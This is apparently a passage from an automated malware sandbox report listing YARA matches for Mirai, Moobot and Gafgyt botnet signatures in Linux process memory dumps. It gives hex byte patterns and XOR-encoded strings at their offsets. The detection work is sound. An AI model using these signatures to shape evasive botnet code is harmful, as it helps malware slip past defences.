0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6753.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6872.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6872.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6872.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6872.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6872.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6872.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6237.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6388.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6368.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6368.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6368.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6368.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6368.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6368.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7014.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7014.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7014.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7014.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7014.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7014.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6310.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6310.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6310.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6310.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6310.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6310.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6717.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6436.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6436.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6436.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6436.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6436.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6436.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7058.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6814.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6814.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6814.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6814.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6814.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 